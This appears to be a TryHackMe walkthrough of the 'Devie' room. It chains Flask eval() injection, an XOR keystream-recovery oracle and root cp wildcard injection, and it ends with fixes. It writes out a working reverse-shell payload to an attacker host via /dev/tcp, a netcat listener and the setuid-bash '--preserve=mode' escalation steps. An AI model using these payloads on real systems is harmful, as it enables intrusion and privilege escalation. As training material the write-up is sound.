mintshell
VI

Devie

A Flask math app passes a string form field straight into eval() for an unauthenticated reverse shell; a sudo-allowed encrypt.py becomes a known-plaintext XOR oracle that recovers the next user's password; and a root backup job running cp * falls to wildcard injection plus a preserved setuid bash.

Platform
TryHackMe
Room
Devie(external link)
Difficulty
Medium
Vulnerabilities
insecure command execution, reversible secret storage, wildcard injection
7 min read

Devie — eval() to RCE, a Self-Service XOR Oracle, and a Wildcard cp to Root

A walkthrough of the “Devie” room on TryHackMe. A small Flask “Math” app ships its own source, and reading it reveals one method that hands a raw string straight to eval() — an unauthenticated reverse shell. From there a sudo**-allowed “encryption” script turns into a known-plaintext oracle that leaks the next user’s password, and a root backup job that globs with _cp _* is bent into a setuid-root shell.

Devie is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Flags and the recovered password are redacted. Values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR

TL;DR

Port 5000 runs a Flask “Math” app that publishes its own source → the bisection route builds eval(xa + " + " + xb) from an unvalidated string field, so a payload field yields an unauthenticated reverse shell as bruce (flag 1) → sudo -l lets bruce run /opt/encrypt.py as gordon; the script XORs with a fixed key, so feeding it a known plaintext recovers the keystream and decrypts gordon’s stored password → su gordon (flag 2) → a root backup job runs cp * in a gordon-writable directory, so dropping a --preserve=mode file next to a setuid-flagged bash makes root copy a setuid-root shell → ./bash -p → root.

Three bugs, one per hop: code injection, a reversible-crypto oracle, and a wildcard that turns a backup into a rootkit.

The target

export IP=<target-ip>

Two ports: SSH and a Werkzeug dev server on 5000.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu
5000/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.8.10)   |_http-title: Math

The site solves math problems (quadratic roots, primality, bisection) and helpfully offers its own source.zip. Reading the source is the fastest route to the bug:

unzip source.zip
# math/app.py  math/quadratic.py  math/prime.py  math/bisection.py  math/templates/index.html

The vulnerability — one field is a string, and the string is eval()**-ed**

The three input forms look alike, but they are not. quadratic.py and prime.py coerce every field to FloatField, so whatever you send becomes a number. bisection.py keeps its fields as StringField:

# bisection.py
class InputForm3(Form):
    xa = StringField(default=1, validators=[validators.InputRequired()])
    xb = StringField(default=3, validators=[validators.InputRequired()])

And app.py feeds those raw strings into eval():

# app.py (bisection route)
added = xa + " + " + xb
c = eval(added)          # xa, xb are attacker-controlled strings

Insight

The float fields are accidentally safe — coercion to float() rejects anything that isn’t a number. The bisection field is the odd one out: it stays a string and lands inside eval() with no validation. eval() doesn’t just do arithmetic; it executes arbitrary Python. So xa can be __import__('os').system(...) and the “+ xb” tail is neutralised with a trailing # comment. Input typing was the control — and exactly one form forgot it.

Step 1 — eval() injection to a shell as bruce

Start a listener, then submit the bisection form with a reverse-shell payload in xa (the # comments out the rest of the expression):

# attacker
nc -lvnp 4444
__import__('os').system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'")#

The server connects back as bruce, and the first flag is in his home directory:

connect to [$ATTACKER_IP] from (UNKNOWN) [$IP]
bruce@ip-10-x-x-x:~$ cat flag1.txt
THM{<redacted>}

Step 2 — turn a sudo**-allowed “encryptor” into a known-plaintext oracle**

A note in bruce’s home says gordon stored his password with a homemade “XOR then base64” scheme and left the encoder in /opt/:

I have encoded my password using the super secure XOR format.
...you can use my script located in the /opt/ directory.
For now look at this super secure string:
NEUEDTIeN1MRDg5K

sudo -l shows exactly the lever we need — bruce may run that encoder as gordon:

User bruce may run the following commands on ip-10-x-x-x:
    (gordon) NOPASSWD: /usr/bin/python3 /opt/encrypt.py

Insight

XOR with a fixed key is reversible, and this script is a free encryption oracle. Encrypt a long, known plaintext (e.g. a run of as) and XOR the output back against that plaintext to recover the keystream byte for byte. With the key in hand, base64-decode gordon’s stored string and XOR it with the same keystream to get his password — no cracking, just algebra.

Feed the oracle a known plaintext and capture its output:

$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py
Enter a password to encrypt: aaaaaaaaaaaaaaaaaaa
EhQRBBMSBAITBBUKBBgZDhMZDg==

Recovering the keystream from that and applying it to NEUEDTIeN1MRDg5K yields gordon’s password, which su accepts:

su gordon
# Password: <redacted>
gordon@ip-10-x-x-x:~$ cat flag2.txt
THM{<redacted>}

Step 3 — wildcard injection in a root backup job

gordon can’t use sudo, but his reports/ and backups/ directories are writable and a root job periodically copies their contents. The report notes even brag about an “XOR script” and sharing folders with Bruce — the real prize is that the backup runs cp * as root, and an unquoted * expands user-controlled filenames into arguments.

Insight

GNU cp has a --preserve=mode flag that copies a file’s permission bits — including the setuid bit — to the destination. If a root cp * runs in a directory you control, create a file literally named --preserve=mode; the glob feeds it to cp as an option. Drop a setuid-flagged copy of bash alongside it, and root’s copy becomes a root-owned setuid bash.

Stage the three ingredients — a bash copy, its setuid bit, and the option-as-filename:

cp /bin/bash .
chmod +xs bash
echo "" > "--preserve=mode"

When the root job globs the directory, it runs the equivalent of cp --preserve=mode ... bash ..., producing a setuid-root bash. Run it with -p to keep the elevated euid:

./bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
THM{<redacted>}

eval() → bruce → XOR oracle → gordon → wildcard cp → root.

Impact

Critical

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) for the entry point alone, and the chain ends at full root:

  • Unauthenticated remote code execution — a single form field reaches eval(), so any visitor runs arbitrary Python as the web user.
  • Reversible secret storage — a custom XOR “encryption” plus a sudo-exposed oracle leaks a user’s password deterministically.
  • Wildcard injection to root — a root backup running cp * over an attacker-writable directory escalates to a setuid-root shell.

Fix

  1. Never call eval() on request data. Parse the two bounds with float()/int() (as the other forms already do), or use ast.literal_eval for literals only. Typing the field is the fix.
  2. Don’t roll your own crypto, and don’t expose it via sudo**.** Store secrets with a real KDF; a reversible XOR scheme plus a self-service encryption oracle is equivalent to publishing the password.
  3. Quote globs and pin paths in privileged jobs. Use cp -- ./* or an explicit file list, run backups from a directory users can’t write, and avoid flag-injectable cp/tar/rsync wildcards entirely.

Takeaways

  • eval() is never “just math.” The float fields were safe only because coercion rejected non-numbers; the one string field made the whole app an interpreter.
  • Read the source they hand you. source.zip turned bug-hunting into a three-line diff between the safe forms and the dangerous one.
  • A reversible scheme plus an oracle equals the plaintext. XOR with a known plaintext is a textbook keystream recovery — no brute force required.
  • An unquoted * is an argument list. A “harmless” backup job becomes privilege escalation the moment a user can name the files it copies.

Thanks for reading. Devie strings together three small, classic mistakes — a stray eval(), homemade crypto, and a globbing root job — into a clean anonymous-to-root chain.